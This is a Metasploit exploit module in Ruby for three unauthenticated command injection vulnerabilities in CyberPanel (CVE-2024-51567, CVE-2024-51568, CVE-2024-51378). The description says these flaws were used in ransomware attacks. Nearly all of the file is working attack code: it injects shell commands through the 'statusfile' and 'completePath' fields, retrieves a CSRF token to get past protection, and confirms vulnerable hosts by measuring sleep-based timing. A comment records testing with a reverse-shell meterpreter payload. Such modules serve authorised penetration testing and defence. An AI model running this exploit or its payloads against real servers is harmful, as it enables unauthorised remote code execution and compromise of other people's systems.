## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Module::HasActions include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'CyberPanel Multi CVE Pre-auth RCE', 'Description' => %q{ This module exploits three separate unauthenticated Remote Code Execution vulnerabilities in CyberPanel: - CVE-2024-51567: Command injection vulnerability in the "upgrademysqlstatus" endpoint. - CVE-2024-51568: Command Injection via the "completePath" parameter in the "outputExecutioner" sink. - CVE-2024-51378: Unauthenticated RCE in "/ftp/getresetstatus" and "/dns/getresetstatus". These vulnerabilities were exploited in ransomware campaigns affecting over 22,000 CyberPanel instances, with the PSAUX ransomware being the primary actor in these attacks. }, 'Author' => [ 'DreyAnd', # Vulnerability discovery (CVE-2024-51567-8) 'Valentin Lobstein', # Metasploit Module 'Luka Petrovic (refr4g)' # Vulnerability discovery (CVE-2024-51378) ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2024-51567'], ['CVE', '2024-51568'], ['CVE', '2024-51378'], ['URL', 'https://dreyand.rs/code/review/2024/10/27/what-are-my-options-cyberpanel-v236-pre-auth-rce'], ['URL', 'https://refr4g.github.io/posts/cyberpanel-command-injection-vulnerability/'], ['URL', 'https://github.com/DreyAnd/CyberPanel-RCE'], ['URL', 'https://github.com/refr4g/CVE-2024-51378'], ['URL', 'https://www.bleepingcomputer.com/news/security/massive-psaux-ransomware-attack-targets-22-000-cyberpanel-instances/'], ['URL', 'https://gist.github.com/gboddin/d78823245b518edd54bfc2301c5f8882'] ], 'Platform' => %w[unix linux], 'Arch' => [ARCH_CMD], 'Targets' => [ [ 'Unix/Linux Command Shell', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD # tested with cmd/linux/http/x64/meterpreter/reverse_tcp } ] ], 'DefaultOptions' => { 'SSL' => true }, 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => '2024-10-27', 'Actions' => [ ['CVE-2024-51567', { 'Description' => 'Exploit using CVE-2024-51567' }], ['CVE-2024-51568', { 'Description' => 'Exploit using CVE-2024-51568' }], ['CVE-2024-51378', { 'Description' => 'Exploit using CVE-2024-51378' }] ], 'DefaultAction' => 'CVE-2024-51567', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options([ Opt::RPORT(8090) ]) end def detect_cyberpanel res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) }) return false unless res html = res.get_html_document paths = [ html.at('link[href="/static/baseTemplate/assets/finalLoginPageCSS/allCss.css"]')&.[]('href'), html.at('img[src="/static/baseTemplate/cyber-panel-logo.svg"]')&.[]('src') ] return false unless paths.all? paths.all? do |path| response = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, path) }) response&.code == 200 end end def check return CheckCode::Safe('Target does not appear to be CyberPanel.') unless detect_cyberpanel if test_vulnerability(action.name.downcase) CheckCode::Vulnerable('Target is running CyberPanel and is vulnerable.') else CheckCode::Safe('Target is running CyberPanel but does not appear to be vulnerable.') end end def exploit execute_payload(action.name.downcase, payload.encoded) end def execute_payload(action, injected_payload) endpoint = nil method = nil payload_data = nil headers = {} ctype = nil case action when 'cve-2024-51567' endpoint = 'dataBases/upgrademysqlstatus' method = 'OPTIONS' payload_data = '{"statusfile": "/dev/null; %s #"}' % injected_payload when 'cve-2024-51568' endpoint = 'filemanager/upload' method = 'POST' csrf_token = get_csrf_token post_data = Rex::MIME::Message.new random_domain = Rex::Text.rand_text_alphanumeric(8) random_complete_path = "/dev/null;#{injected_payload} #" random_filename = "#{Rex::Text.rand_text_alphanumeric(6)}.txt" random_content = Rex::Text.rand_text_alphanumeric(4) post_data.add_part(random_domain, nil, nil, 'form-data; name="domainName"') post_data.add_part(random_complete_path, nil, nil, 'form-data; name="completePath"') post_data.add_part(random_content, 'text/plain', nil, "form-data; name=\"file\"; filename=\"#{random_filename}\"") payload_data = post_data.to_s headers['X-CSRFToken'] = csrf_token headers['Referer'] = "#{datastore['SSL'] ? 'https' : 'http'}://#{datastore['RHOST']}:#{datastore['RPORT']}#{normalize_uri(target_uri.path, 'filemanager/upload')}" headers['Cookie'] = "csrftoken=#{csrf_token}" ctype = "multipart/form-data; boundary=#{post_data.bound}" when 'cve-2024-51378' endpoint = "#{['ftp', 'dns'].sample}/getresetstatus" method = 'OPTIONS' payload_data = '{"statusfile": "/dev/null; %s #"}' % injected_payload else fail_with(Failure::BadConfig, 'Invalid action selected') end send_request_cgi({ 'method' => method, 'uri' => normalize_uri(target_uri.path, endpoint), 'data' => payload_data, 'ctype' => ctype, 'headers' => headers }) end def test_vulnerability(action) sleep_times = [rand(2..5), rand(2..5)].uniq.sort test_payloads = sleep_times.map { |t| "sleep #{t}" } confirmed_payloads = [] test_payloads.each do |test_payload| start_time = Time.now res = execute_payload(action, test_payload) next unless res elapsed_time = Time.now - start_time match = test_payload.match(/sleep (\d+)/) confirmed_payloads << test_payload if match && elapsed_time >= match[1].to_i end (confirmed_payloads & test_payloads).size == test_payloads.size end def get_csrf_token res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) }) csrf_token = res&.get_cookies&.match(/csrftoken=(\w+)/)&.captures&.first fail_with(Failure::NotFound, 'Unable to retrieve CSRF token.') unless csrf_token vprint_status("CSRF Token retrieved: #{csrf_token}") csrf_token end end